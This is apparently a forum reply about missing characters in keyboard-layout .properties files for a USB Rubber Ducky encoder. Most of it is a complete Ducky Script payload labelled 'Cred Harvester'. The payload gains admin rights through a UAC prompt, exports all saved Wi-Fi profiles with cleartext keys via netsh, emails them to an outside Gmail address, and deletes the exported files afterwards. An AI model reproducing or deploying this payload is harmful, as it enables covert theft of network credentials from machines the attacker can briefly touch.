You have some characters missing in the .properties file so the encoder doesn't know what to encode the keystokes indicated in the error output as.
I have the same problem using uk.properties to encode a payload I created.
REM Author: 3mrgnc3 (Emergence)
REM Description: use native Win tools(cmd, powershell and netsh) to email cleartext creds ;)
REM Inspiration taken from 'mrgray'&'Bucky67GTO'
DELAY 3000
GUI d
DELAY 400
GUI r
DELAY 1500
STRING powershell Start-Process cmd.exe -Verb runAs
ENTER
DELAY 600
ALT y
DELAY 600
STRING cd C:\Windows\System32
ENTER
DELAY 200
STRING powershell
ENTER
DELAY 800
STRING netsh wlan export profile key=clear
ENTER
DELAY 800
STRING $EmailFrom = “Rubber@Ducky.com”
ENTER
DELAY 200
STRING $EmailTo = “user@gmail.com”
ENTER
DELAY 200
STRING $Subject = “Cred Harvester”
ENTER
DELAY 200
STRING $body = cat Wireless*.xml
ENTER
DELAY 200
STRING $SMTPServer = “smtp.gmail.com”
ENTER
DELAY 200
STRING $SMTPClient = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
ENTER
DELAY 200
STRING $SMTPClient.EnableSsl = $true
ENTER
DELAY 200
STRING $SMTPClient.Credentials = New-Object System.Net.NetworkCredential(“user@gmail.com”, “password”);
ENTER
DELAY 200
STRING $SMTPClient.Send($EmailFrom, $EmailTo, $Subject, $Body)
ENTER
DELAY 4500
STRING erase Wireless*.xml
ENTER
DELAY 200
STRING exit
ENTER
DELAY 200
STRING exit
ENTER
DELAY 200
I haven't looked for a fix in a while but thanks to your post it has jogged my memory about this issue.
I will dig into it over the weekend and report back if i get my issue fixed.
The stuff I uncover should help you out with you dk.properties issue too.
If you do manage to find a solution before me please do post your results/fixes.
Peace.